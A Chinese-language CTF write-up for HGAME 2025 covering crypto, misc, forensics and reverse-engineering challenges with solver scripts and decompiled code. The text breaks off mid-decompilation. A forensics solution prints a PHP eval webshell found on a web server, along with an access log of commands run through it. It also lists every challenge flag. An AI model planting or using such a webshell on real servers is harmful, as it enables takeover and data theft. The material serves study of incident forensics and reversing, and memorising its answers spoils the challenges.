HGAME CTF 2025 WriteUp

队伍名称：AstralPrisma 队伍 ID：#00010e

签到：

Test nc：

用虚拟机访问：nc node2.hgame.vidar.club 30330，输入 cat /flag，返回 flag：hgame{Y0Ur-CAn_ConnecT-T0-tH3-remOtE_enV1ROnM3Nt-T0-g3T-fL@g0}.

从这里开始的序章：

直接提交 flag：hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}.

Crypto：

suprimeRSA：

yafu 暴力分解 n 得到 p 和 q：P48 = 796688410951167236263039235508020180383351898113，P48 = 839777194079410698093279448382785381699926556673，解密得到 flag：hgame{ROCA_ROCK_and_ROll!}.

Misc：

Hakuya Want A Girl Friend：

打开 txt 发现是每个字节的 ASCII，010editor 转成文件后发现了一个 zip 文件和一个所有字节全都倒过来的 png 文件，png 文件的宽高不正确，修改宽高后得到 zip 文件的密码“To_f1nd_th3_QQ”，解压后得到 flag：hagme{h4kyu4_w4nt_gir1f3nd_+q_931290928}（前面的 hgame 反了）.

Computer cleaner：

打开虚拟机后搜索/var/www/html 路径下的.php 文件，找到两个：

vidar@vidar-computer:~$ find /var/www/html -name "*.php"

/var/www/html/upload.php

/var/www/html/uploads/shell.php

查询 grep 指令得到 flag 的第 1 部分：

vidar@vidar-computer:~$ grep -r "eval(" /var/www/html

/var/www/html/uploads/shell.php:<?php @eval($_POST['hgame{y0u_']);?>

在浏览文件时在 documents 文件夹中找到了 flag_part3 文件，为 flag 的最后一部分：_c0mput3r!}

查看两个 php：

upload.php：

```
<?php
// 日志文件路径
$log_file = 'upload_log.txt';

// 检查文件是否上传
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
    // 获取文件信息
    $file_name = $_FILES['file']['name'];
    $file_tmp = $_FILES['file']['tmp_name'];
    $file_size = $_FILES['file']['size'];

    // 定义上传目录
    $upload_dir = 'uploads/';
    if (!is_dir($upload_dir)) {
        mkdir($upload_dir, 0777, true);
    }

    // 将文件移动到目标目录
    $target_file = $upload_dir . basename($file_name);
    if (move_uploaded_file($file_tmp, $target_file)) {
```

```
        echo "文件上传成功！<br>";

        // 记录日志
        $log_message = "[" . date("Y-m-d H:i:s") . "] 上传成功：$file_name, 大小：$file_size 字节\n";
        file_put_contents($log_file, $log_message, FILE_APPEND);
    } else {
        echo "文件上传失败！<br>";
    }
} else {
    echo "上传过程中发生错误。<br>";
    // 记录日志
    $log_message = "[" . date("Y-m-d H:i:s") . "] 上传失败：错误代码 " . $_FILES['file']['error'] . "\n";
    file_put_contents($log_file, $log_message, FILE_APPEND);
}
?>
```

shell.php：

```
<?php @eval($_POST['hgame{y0u_']);?>
```

查看/var/www/html 路径下的所有文件：

vidar@vidar-computer:~$ ls /var/www/html/

index.html upload.html upload_log.txt upload.php uploads

vidar@vidar-computer:~$ ls /var/www/html/uploads

shell.php

查看这些文件的内容：

vidar@vidar-computer:~$ cat /var/www/html/index.html

Don't hack me!!!!!!!!!

vidar@vidar-computer:~$ cat /var/www/html/upload.html

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
</head>
<body>
    <h1>文件上传</h1>
    <form action="upload.php" method="POST" enctype="multipart/form-data">
        <label for="file">选择文件：</label>
        <input type="file" name="file" id="file" required><br><br>
        <input type="submit" value="上传">
    </form>
</body>
</html>
```

vidar@vidar-computer:~$ cat /var/www/html/upload_log.txt（这里也能看出来 flag 的第三部分的上传记录）

```
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET / HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET /upload HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:15 +0000] "POST /upload HTTP/1.1" 200 512 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:20 +0000] "POST /upload HTTP/1.1" 200 1024 "http://localhost/upload" "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:35 +0000] "POST /upload HTTP/1.1" 200 1024 "http://localhost/upload" "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:50 +0000] "POST /upload HTTP/1.1" 200 1030 "http://localhost/upload" "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:55 +0000] "GET /uploads/shell.php HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:00 +0000] "GET /uploads/shell.php?cmd=ls HTTP/1.1" 200 2048 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:05 +0000] "GET /uploads/shell.php?cmd=cat%20~/Documents/flag_part3 HTTP/1.1" 200 2048 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"
```

访问 121.41.34.25，得到 flag 的第二部分：

Are you looking for me

Congratulations!!!

hav3_cleaned_th3

拼合得到 flag：hgame{y0u_hav3_cleaned_th3_c0mput3r!}.

Reverse：

Compress dot new：

脚本中 compress 函数首先通过 bf 函数计算字符频率，然后使用 h 函数生成霍夫曼树，接着用 gc 函数对霍夫曼树进行编码，最后用 enc 函数将输入的二进制数据按照霍夫曼编码表转换为字符串输出，编写 python 脚本：

```
import json
# 解析霍夫曼树
def parse_tree(node, path='', dict_path=None):
    if dict_path is None:
        dict_path = {}
    if 's' in node:  # Leaf node
        dict_path[path] = chr(node['s'])
    else:  # Internal node
        parse_tree(node['a'], path + '0', dict_path)
        parse_tree(node['b'], path + '1', dict_path)
    return dict_path
# 使用霍夫曼树解码
def decode_huffman(encoded_str, huffman_tree_dict):
    output = ''
    current_code = ''
    for bit in encoded_str:
        current_code += bit
        if current_code in huffman_tree_dict:
            output += huffman_tree_dict[current_code]
            current_code = ''
    return output
# 主函数
if __name__ == "__main__":
    json_data =
'{"a":{"a":{"a":{"a":{"a":{"s":125},"b":{"a":{"s":119},"b":{"s":123}}},"b":{"a":{"s":104},"b":{"s":105}}},"b":{"a":{"s":101},"b":{
"s":103}}},"b":{"a":{"a":{"a":{"s":10},"b":{"s":13}},"b":{"s":32}},"b":{"a":{"s":115},"b":{"s":116}}}},"b":{"a":{"a":{"a":{"a":{"a
":{"s":46},"b":{"s":48}},"b":{"a":{"a":{"s":76},"b":{"s":78}},"b":{"a":{"s":83},"b":{"a":{"s":68},"b":{"s":69}}}}},"b":{"a":{"a":{
"s":44},"b":{"a":{"s":33},"b":{"s":38}}},"b":{"s":45}}},"b":{"a":{"a":{"s":100},"b":{"a":{"s":98},"b":{"s":99}}},"b":{"a":{"a":{"s
":49},"b":{"s":51}},"b":{"s":97}}}},"b":{"a":{"a":{"a":{"s":117},"b":{"s":118}},"b":{"a":{"a":{"s":112},"b":{"s":113}},"b":{"s":11
4}}},"b":{"a":{"a":{"s":108},"b":{"s":109}},"b":{"a":{"s":110},"b":{"s":111}}}}}}'
    tree = json.loads(json_data)
    encoded_str =
"00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111
0110110011101100111100111101101110111011010110011110110011110001110011011110000110011000010110111011000111001010011100101110011110
0001100010100101000000001001010001000100111111101100101110101010001111010001101100011101010110100111111100111111101101010110000110
1110101101111111010010011110010001011010111111111111001100010101011011100100111110001101101011011110100000111101000001101101010110
0011111100011010100101110000011011110000000100101000100010111000111001110010111010111110001010101101011110000011001111000111001011
1010111110001011010111000001010000000101100011110111000111011111101010100100111010111001000111100100101101111011101110101111101100
0111101010111001000101110010010111000101101010000111010100010111101010011000111010101110110001101101100001101000000010110001110111
111111000101010111100000"
    huffman_tree_dict = parse_tree(tree)
    flag = decode_huffman(encoded_str, huffman_tree_dict)
    print("Flag:", flag)
```

得到 flag：hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}.

Turtle：

查壳发现了魔改 UPX，发现不仅 UPX 头改了，0x25 字节的自加密数据也全抹光了，直接 x64dbg+Scylla 手脱 UPX，之后 ida 分析，找到 main 函数：

```
__int64 sub_401876()
{
  char v1[256]; // [rsp+20h] [rbp-60h] BYREF
  char v2[48]; // [rsp+120h] [rbp+A0h] BYREF
  char Buf1[46]; // [rsp+150h] [rbp+D0h] BYREF
  char Buf2[5]; // [rsp+17Eh] [rbp+FEh] BYREF
  char v5[2]; // [rsp+183h] [rbp+103h] BYREF
  unsigned __int8 Source[8]; // [rsp+185h] [rbp+105h] BYREF
  unsigned __int8 Dest[8]; // [rsp+18Dh] [rbp+10Dh] BYREF
  char v8[11]; // [rsp+195h] [rbp+115h] BYREF
  unsigned int v9; // [rsp+1A0h] [rbp+120h]
  int v10; // [rsp+1A4h] [rbp+124h]
  int v11; // [rsp+1A8h] [rbp+128h]
  unsigned int v12; // [rsp+1ACh] [rbp+12Ch]

  sub_401C20();
  strcpy(v8, "yekyek");
  Buf2[0] = -51;
  Buf2[1] = -113;
  Buf2[2] = 37;
  Buf2[3] = 61;
  Buf2[4] = -31;
```

```
  qmemcpy(v5, "QJ", sizeof(v5));                  //这里 QJ 也是 key 的一部分
  v2[0] = -8;
  v2[1] = -43;
  v2[2] = 98;
  v2[3] = -49;
  v2[4] = 67;
  v2[5] = -70;
  v2[6] = -62;
  v2[7] = 35;
  v2[8] = 21;
  v2[9] = 74;
  v2[10] = 81;
  v2[11] = 16;
  v2[12] = 39;
  v2[13] = 16;
  v2[14] = -79;
  v2[15] = -49;
  v2[16] = -60;
  v2[17] = 9;
  v2[18] = -2;
  v2[19] = -29;
  v2[20] = -97;
  v2[21] = 73;
  v2[22] = -121;
  v2[23] = -22;
  v2[24] = 89;
  v2[25] = -62;
  v2[26] = 7;
  v2[27] = 59;
  v2[28] = -87;
  v2[29] = 17;
  v2[30] = -63;
  v2[31] = -68;
  v2[32] = -3;
  v2[33] = 75;
  v2[34] = 87;
  v2[35] = -60;
  v2[36] = 126;
  v2[37] = -48;
  v2[38] = -86;
  v2[39] = 10;
  v12 = 6;
  v11 = 7;
  v10 = 40;
  j_printf("plz input the key: ");
  j_scanf("%s", Source);
  j__mbscpy(Dest, Source);
  v9 = 7;
  sub_401550(v8, v12, v1);                        //RC4，KSA 部分
  sub_40163E(Source, v9, v1);                     //RC4，PRGA 部分
  if ( !j_memcmp(Source, Buf2, v11) )             //比较 key
  {
    j_printf("plz input the flag: ");
    j_scanf("%s", Buf1);
    *(_DWORD *)&v8[7] = 40;
    sub_401550(Dest, v9, v1);                     //RC4，KSA 部分
    sub_40175A(Buf1, *(unsigned int *)&v8[7], v1);//RC4，PRGA 部分
    if ( !j_memcmp(Buf1, v2, v10) )               //比较 flag
      j_puts(Buffer);
    else
      j_puts(aWrongPlzTryAga);
  }
  else
  {
    j_puts(aKeyIsWrong);
  }
  return 0i64;
}
```

先看 key 的部分：先用密钥 yekyek 作为 RC4 的 KSA 部分生成 S 盒，然后加密输入值，之后再与 Buf2 密文进行比较，这里 Buf2 为[0xCD, 0x8F, 0x25, 0x3D, 0xE1, Q, J]，解密得到[0x65, 0x63, 0x67, 0x34, 0x61, 0x62, 0x36]，即 key 为 ecg4ab6，接着查看 flag，发现 flag 所用的 PRGA 部分略有不同，不过仅仅是改为了减号，则解密函数只需改成加号，又有 flag 密文为[0xf8, 0xd5, 0x62, 0xcf, 0x43, 0xba, 0xc2, 0x23, 0x15, 0x4a, 0x51, 0x10, 0x27, 0x10, 0xb1, 0xcf, 0xc4, 0x9, 0xfe, 0xe3, 0x9f, 0x49, 0x87, 0xea, 0x59, 0xc2, 0x7, 0x3b, 0xa9, 0x11, 0xc1, 0xbc, 0xfd, 0x4b,

0x57, 0xc4, 0x7e, 0xd0, 0xaa, 0xa]，解得 flag 为：hgame{Y0u'r3_re4l1y_g3t_0Ut_of_th3_upX!}.

解题脚本：

```
def rc4_ksa(key):
    sbox = list(range(256))
    j = 0
    for i in range(256):
        j = (j + sbox[i] + key[i % len(key)]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
    print(f"[{', '.join(f'0x{byte:02X}' for byte in sbox)}]")
    return sbox

def rc4_prga(s, data):
    i = 0
    j = 0
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        t = (s[i] + s[j]) % 256
        data[k] ^= s[t]
    return data

def rc4_enc(s, data):
    i = 0
    j = 0
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        t = (s[i] + s[j]) % 256
        data[k] -= s[t]
    return data

def rc4_dec(s, data):
    i = 0
    j = 0
    for k in range(len(data)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        t = (s[i] + s[j]) % 256
        data[k] = (data[k] + s[t]) % 256
    return data

# key = "yekyek".encode()
key = "ecg4ab6".encode()
#plaintext = b"\xCD\x8F\x25\x3D\xE1QJ"
plaintext =
b"\xf8\xd5\x62\xcf\x43\xba\xc2\x23\x15\x4a\x51\x10\x27\x10\xb1\xcf\xc4\x09\xfe\xe3\x9f\x49\x87\xea\x59\xc2\x07\x3b\xa9\x11\xc1\xbc
\xfd\x4b\x57\xc4\x7e\xd0\xaa\x0a"
sbox = rc4_ksa(key)
# ciphertext = rc4_prga(sbox.copy(), bytearray(plaintext))
ciphertext = rc4_dec(sbox.copy(), bytearray(plaintext))
print(f"[{', '.join(f'0x{byte:02X}' for byte in ciphertext)}]")
```

Delta Erro0000ors:

观察主函数：

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  HMODULE LibraryA; // rax
  DWORD LastError; // eax
  __int128 v6; // [rsp+20h] [rbp-138h]
  __int64 v7; // [rsp+30h] [rbp-128h]
  __int128 v8; // [rsp+38h] [rbp-120h]
  __int64 v9; // [rsp+48h] [rbp-110h]
  __int128 v10; // [rsp+50h] [rbp-108h] BYREF
  __int64 v11; // [rsp+60h] [rbp-F8h]
  __int128 v12; // [rsp+70h] [rbp-E8h] BYREF
  __int64 v13; // [rsp+80h] [rbp-D8h]
  char Destination[16]; // [rsp+90h] [rbp-C8h] BYREF
  __int128 v15; // [rsp+A0h] [rbp-B8h]
  int v16; // [rsp+B0h] [rbp-A8h]
  char v17; // [rsp+B4h] [rbp-A4h]
  char Buffer[16]; // [rsp+B8h] [rbp-A0h]
  __int128 v19; // [rsp+C8h] [rbp-90h]
  __int64 v20; // [rsp+D8h] [rbp-80h]
  char Str1[16]; // [rsp+E0h] [rbp-78h] BYREF
  __int128 v22; // [rsp+F0h] [rbp-68h]
  __int128 v23; // [rsp+100h] [rbp-58h]
  __int128 v24; // [rsp+110h] [rbp-48h]
  __int128 v25; // [rsp+120h] [rbp-38h]
  __int128 v26; // [rsp+130h] [rbp-28h]
  int v27; // [rsp+140h] [rbp-18h]
```

```
  LibraryA = LoadLibraryA("msdelta.dll");                   //加载了 msdelta.dll 并加载了 ApplyDeltaB 和 DeltaFree 两个函数
  ::LibraryA = LibraryA;
  if ( LibraryA )
  {
    ApplyDeltaB = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD))GetProcAddress(LibraryA, "ApplyDeltaB");
    DeltaFree = (BOOL (__stdcall *)(LPVOID))GetProcAddress(::LibraryA, "DeltaFree");
  }
  else
  {
    puts("LoadLibrary Error");
  }
  *(_OWORD *)Str1 = 0i64;
  v22 = 0i64;
  v23 = 0i64;
  v24 = 0i64;
  v25 = 0i64;
  v26 = 0i64;
  v27 = 0;
  *(_OWORD *)Destination = 0i64;
  v15 = 0i64;
  v16 = 0;
  v17 = 0;
  *(_OWORD *)Buffer = 0i64;
  v19 = 0i64;
  v20 = 0i64;
  printf("input your flag:");
  scanf("%43s");
  if ( !strncmp(Str1, "hgame{", 6ui64) && BYTE10(v23) == 125 )      //flag 长 43 位，只有符合格式才进行后续流程，否则直接输出 great
  {
    strncpy(Destination, &Str1[6], 0x24ui64);
    LODWORD(v9) = 0;
    *(_QWORD *)&v8 = Destination;
    *((_QWORD *)&v8 + 1) = 37i64;
    LODWORD(v7) = 0;
    *(_QWORD *)&v6 = &unk_1400050A0;
    *((_QWORD *)&v6 + 1) = 69i64;
    v10 = v6;
    v11 = v7;
    v12 = v8;
    v13 = v9;
    if ( ApplyDeltaB(0i64, &v12, &v10, &qword_140005190) )      //调试发现这里 ApplyDelta 一定会出错
    {
      printf("%s");
    }
    else
    {
      puts("ApplyDelta Error");
      LastError = GetLastError();
      RaiseException(LastError, 1u, 0, 0i64);                   //进入异常处理
    }
  }
  puts(aGreat);                                                 //flag 正确或不符合格式
  DeltaFree((LPVOID)qword_140005190);
  FreeLibrary(::LibraryA);
  return 0;
}
```

异常处理的部分没有反编译成 C 语言代码，反汇编如下：

```
.text:000000014000134B ; ---------------------------------------------------------------------------
.text:000000014000134B
.text:000000014000134B loc_14000134B:                           ; DATA XREF: .rdata:0000000140003A2C↓o
.text:000000014000134B ;     __except(1) // owned by 1400012C0
.text:000000014000134B                 lea     rcx, aSevenEatsTheHa ; "Seven eats the hash and causes the prog"...
.text:0000000140001352                 call    cs:puts
.text:0000000140001358                 lea     rcx, aSevenWantsToMa ; "Seven wants to make up for the mistake,"...
.text:000000014000135F                 call    cs:puts
.text:0000000140001365                 lea     rcx, aInputYourMd5 ; "input your MD5:"
.text:000000014000136C                 call    printf
.text:0000000140001371                 lea     rdx, [rsp+158h+Buffer]
.text:0000000140001379                 lea     rcx, a32s       ; "%32s"
.text:0000000140001380                 call    scanf
.text:0000000140001385                 lea     rbx, [rsp+158h+Buffer]
.text:000000014000138D                 lea     rdi, unk_1400050B4
.text:0000000140001394                 mov     esi, 10h
.text:0000000140001399                 nop     dword ptr [rax+00000000h]
.text:00000001400013A0
```

```
.text:00000001400013A0 loc_1400013A0:                          ; CODE XREF: main+27D↓j
.text:00000001400013A0                 mov     r8, rdi
.text:00000001400013A3                 lea     rdx, a02x       ; "%02x"
.text:00000001400013AA                 mov     rcx, rbx        ; Buffer
.text:00000001400013AD                 call    sub_1400010E0
.text:00000001400013B2                 inc     rdi
.text:00000001400013B5                 add     rbx, 2
.text:00000001400013B9                 sub     rsi, 1
.text:00000001400013BD                 jnz     short loc_1400013A0
.text:00000001400013BF                 mov     cs:word_1400050C4, 7A01h
.text:00000001400013C8                 movups  xmm0, [rsp+158h+var_138]
.text:00000001400013CD                 movaps  [rsp+158h+var_E8], xmm0
.text:00000001400013D2                 movsd   xmm1, [rsp+158h+var_128]
.text:00000001400013D8                 movsd   [rsp+158h+var_D8], xmm1
.text:00000001400013E1                 movups  xmm0, [rsp+158h+var_120]
.text:00000001400013E6                 movaps  [rsp+158h+var_108], xmm0
.text:00000001400013EB                 movsd   xmm1, [rsp+158h+var_110]
.text:00000001400013F1                 movsd   [rsp+158h+var_F8], xmm1
.text:00000001400013F7                 lea     r9, qword_140005190
.text:00000001400013FE                 lea     r8, [rsp+158h+var_E8]
.text:0000000140001403                 lea     rdx, [rsp+158h+var_108]
.text:0000000140001408                 xor     ecx, ecx
.text:000000014000140A                 call    cs:ApplyDeltaB
.text:0000000140001410                 test    rax, rax
.text:0000000140001413                 jz      short loc_140001479
.text:0000000140001415                 xor     ecx, ecx
.text:0000000140001417                 xor     r8d, r8d
.text:000000014000141A                 mov     r9, cs:qword_140005198
.text:0000000140001421                 mov     r10, cs:qword_140005190
.text:0000000140001428                 nop     dword ptr [rax+rax+00000000h]
.text:0000000140001430
.text:0000000140001430 loc_140001430:                          ; CODE XREF: main+31A↓j
.text:0000000140001430                 movsxd  rax, ecx
.text:0000000140001433                 xor     edx, edx
.text:0000000140001435                 div     r9
.text:0000000140001438                 movzx   eax, byte ptr [rdx+r10]
.text:000000014000143D                 xor     al, [rsp+r8+158h+Str1]          //异或
.text:0000000140001445                 lea     rdx, unk_140003438              //flag 密文
.text:000000014000144C                 cmp     [r8+rdx], al                    //比较
.text:0000000140001450                 jnz     short loc_14000145E
.text:0000000140001452                 inc     ecx
.text:0000000140001454                 inc     r8
.text:0000000140001457                 cmp     ecx, 2Bh ; '+'
.text:000000014000145A                 jl      short loc_140001430
.text:000000014000145C                 jmp     short loc_140001494
.text:000000014000145E ; ---------------------------------------------------------------------------
.text:000000014000145E
.text:000000014000145E loc_14000145E:                          ; CODE XREF: main+310↑j
.text:000000014000145E                 lea     rcx, aFlagIsError ; "Flag is error!!"
.text:0000000140001465                 call    cs:puts
.text:000000014000146B                 call    sub_1400014E0
.text:0000000140001470                 xor     ecx, ecx        ; Code
.text:0000000140001472                 call    cs:__imp_exit
.text:0000000140001472 ; ---------------------------------------------------------------------------
.text:0000000140001478                 db 0CCh
.text:0000000140001479 ; ---------------------------------------------------------------------------
.text:0000000140001479
.text:0000000140001479 loc_140001479:                          ; CODE XREF: main+2D3↑j
.text:0000000140001479                 lea     rcx, aYouDidnTTakeAd ; "You didn't take advantage of this oppor"...
.text:0000000140001480                 call    cs:puts
.text:0000000140001486                 call    sub_1400014E0
.text:000000014000148B                 xor     ecx, ecx        ; Code
.text:000000014000148D                 call    cs:__imp_exit
.text:000000014000148D ; ---------------------------------------------------------------------------
```

推导出整个流程为：先加载 msdelta.dll，然后提示输入 43 位的 flag，只有 flag 符合格式要求才继续执行，否则直接输出 great，继续执行时会调用 ApplyDeltaB 这个函数，然后一定会调用不成功，进入异常处理部分，要求输入一个 md5，输入后如果能够让 ApplyDeltaB 成功执行则比较 flag（unk_140003438，[0x3B, 0x02, 0x17, 0x08, 0x0B, 0x5B, 0x4A, 0x52, 0x4D, 0x11, 0x11, 0x4B, 0x5C, 0x43, 0x0A, 0x13, 0x54, 0x12, 0x46, 0x44, 0x53, 0x59, 0x41, 0x11, 0x0C, 0x18, 0x17, 0x37, 0x30, 0x48, 0x15, 0x07, 0x5A, 0x46, 0x15, 0x54, 0x1B, 0x10, 0x43, 0x40, 0x5F, 0x45, 0x5A]），否则输出“你没有抓住机会”，动态调试发现第一次尝试 ApplyDeltaB 时在其中的 ApplyDeltaA 引发错误，将 IDA 报错机制改为日志输出，不暂停程序并默认程序继续执行，可以跳出其他 dll 的处理部分，进入 main 的异常处理部分，检测到错误信号为 0xD（无效补丁），解析 msdelta.dll 的 pdb，可能是 ApplyDeltaA 的 ApplyFlags、

InputBuffer（源于 source）或 Delta 被传入了错误的值，分析并动态调试第一次调用，可以注意到传入的 ApplyFlags 为 0，Source 为 36 字节的输入值，Delta 为一个 69 字节的数据块：[0x50, 0x41, 0x33, 0x30, 0x30, 0x0B, 0xD0, 0x45, 0x74, 0x6C, 0xDB, 0x01, 0x18, 0x23, 0xC8, 0x81, 0x03, 0x80, 0x42, 0x00,
0x53, 0x65, 0x76, 0x65, 0x6E, 0x65, 0x61, 0x74, //Seveneatsthehash
0x73, 0x74, 0x68, 0x65, 0x68, 0x61, 0x73, 0x68,
0x01, 0x7A, 0x00, 0x51, 0xB5, 0x5E, 0x73, 0x7A, 0x8D, 0xF1, 0x30, 0xAD, 0xD3, 0xA2, 0x69, 0x1E, 0x16, 0x8D, 0x9B, 0xE5, 0x6F, 0x4A, 0x2F, 0x0F, 0x53, 0x06, 0xF5, 0x1B, 0x30, 0xC3, 0x73, 0x16, 0x0D]，结合下文要求输入 md5，推测就是这 16 个字节导致了 ApplyDelta 报错，而新输入的 md5 则会覆盖掉这一部分，如果覆盖之后能正常执行就进入比较 flag 阶段，查询 msdelta 的补丁结构（https://1k0ct.github.io/2024/04/29/Windows%E5%B7%AE%E5%BC%82%E5%8C%96%E8%A1%A5%E4%B8%81MSDelta%E4%B9%8B%E7%A0%94%E7%A9%B6/，https://github.com/smilingthax/msdelta-pa30-format/blob/main/README.md），应用脚本得到如下补丁信息：

```
[+] FileTypeSet       : 0x1
[+] FileType          : 0x1
[+] Flags             : 0x0
[+] TargetSize        : 0x1C
[+] TargetFileTime    : Wed Jan 22 02:20:58 2025
[+] TargetHashAlgId : 0x8003                                    //md5
[+] TargetHash        : 536576656E65617473746865686617368       //被篡改的哈希值
```

在动态调试到 ApplyDeltaA 时反编译，注意到其中有一个函数 compo::PullcapiContext::GetHash(v6, &a2->TargetHash);，就是获取目标哈希（补丁中的哈希）的函数，在其执行结束后查看返回值 v22，可以得到和上面脚本一样的信息，提示输入 md5 后再次断在这里可以发现 targethash 被改成了输入值，即证明这里输入哈希确实是为了能让 ApplyDelta 正常执行，在其中目标哈希的位置下断点，运行直到触发断点，却发现哈希值还没有经过任何读取比较就已经被覆盖了，失去头绪，回头观察 main 中的 flag 比较过程，推测只有一个简单的异或，补丁打在输入的 flag 上，经过异或后和密文进行比较，动态调试过程中观察到一个可疑的字符串“Seven says you're right!!!!,0”：

```
debug049:000002533055DA76 db    0
debug049:000002533055DA77 db    0
debug049:000002533055DA78 dq 3400D982A0154B3Ch
debug049:000002533055DA80 aSevenSaysYouRe db 'Seven says you',27h,'re right!!!!',0
debug049:000002533055DA9C db 0ABh
debug049:000002533055DA9D db 0ABh
debug049:000002533055DA9E db 0ABh
```

直接拿密文异或这个字符串，得到 flag：hgame{934b1236-a124-4150-967c-cb4ff5bcc900}.

尊嘟假嘟：

Jadx 反编译，先查看 zundu 和 jiadu 类：

```
public void onViewCreated(View view, Bundle savedInstanceState) {
        super.onViewCreated(view, savedInstanceState);
        ImageView JiaDu = this.binding.jiaduimage;
        final Bundle bundle = getArguments();
        JiaDu.setOnClickListener(new View.OnClickListener() { // from class: com.nobody.zunjia.jiadu.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                String ZunduJiadu;
                String ZunduJiadu2 = bundle.getString("zunjia");
                if (ZunduJiadu2 == null) {
                    ZunduJiadu = "o.0";
                } else if (ZunduJiadu2.length() < 36) {
                    ZunduJiadu = ZunduJiadu2 + "o.0";
                } else {
                    ZunduJiadu = "The length is too large";
                }
                bundle.putString("zunjia", ZunduJiadu);
                toast to = new toast(jiadu.this.getContext());
                to.setText(ZunduJiadu);
                to.setDuration(0);
                to.show();
            }
        });
        this.binding.buttonSecond.setOnClickListener(new View.OnClickListener() { // from class:
com.nobody.zunjia.jiadu$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                jiadu.this.m204lambda$onViewCreated$0$comnobodyzunjiajiadu(bundle, view2);
            }
```

```
        });
    }
```

结合实际运行发现是一个切换“尊嘟”（0.o）与“假嘟”（o.0）的页面，点击图片会弹出 toast 消息，会从零开始不断将“0.o”与“o.0”填入一个字符串，当这个字符串长度大于等于 36 时（即输入次数大于 12）再次点击图片会将字符串替换成 The length is too large，但由于还是小于 36 长度所以可以继续向后再追加 4 次点击，再观察 toast 类：

```
package com.nobody.zunjia;
import android.content.Context;
import android.widget.Toast;

/* loaded from: classes3.dex */
public class toast extends Toast {
    private Context mycontext;
    static native void check(Context context, String str);
    public toast(Context context) {
        super(context);
        this.mycontext = context;
    }

    @Override // android.widget.Toast
    public void setText(CharSequence s) {
        super.setText(s);
        check(this.mycontext, (String) DexCall.callDexMethod(this.mycontext,
this.mycontext.getString(C0822R.string.dex), this.mycontext.getString(C0822R.string.classname),
this.mycontext.getString(C0822R.string.func1), s));
    }
}
```

发现所给的 toast 是经过改动的，字符串并不仅仅是显示在屏幕上，而是先传给了 Dexcall 类，结合反编译的 values 中的 string.txt 可以得到 func1 是 encode，则字符串会以某种方式编码，之后进行 check，查看来源于 DexCall 类中加载的 libcheck.so，观察 libcheck.so 中的 sub_1100（check）函数：

```
unsigned __int64 __fastcall sub_1100(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  const char *v4; // rax
  __int64 v6; // [rsp+38h] [rbp-D8h]
  __int64 v7; // [rsp+40h] [rbp-D0h]
  __int64 v8; // [rsp+48h] [rbp-C8h]
  __int64 v9; // [rsp+50h] [rbp-C0h]
  __int64 v10; // [rsp+58h] [rbp-B8h]
  __int64 v11; // [rsp+60h] [rbp-B0h]
  __int64 v12; // [rsp+70h] [rbp-A0h]
  __int64 v13; // [rsp+78h] [rbp-98h]
  __int64 v14; // [rsp+80h] [rbp-90h]
  char v16; // [rsp+CFh] [rbp-41h] BYREF
  char v17[48]; // [rsp+D0h] [rbp-40h] BYREF
  unsigned __int64 v18; // [rsp+100h] [rbp-10h]

  v18 = __readfsqword(0x28u);
  v14 = sub_1360(a1, a4, (__int64)&v16);
  v13 = sub_1090(a1, (__int64)"com/nobody/zunjia/DexCall");
  v12 = sub_13A0(a1, v13, (__int64)"<init>", (__int64)"()V");
  sub_13E0(a1, v13, v12);
  v11 = sub_14D0(a1,v13,"callDexMethod","(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;");
  v10 = sub_1510(a1, (__int64)"zunjia.dex");
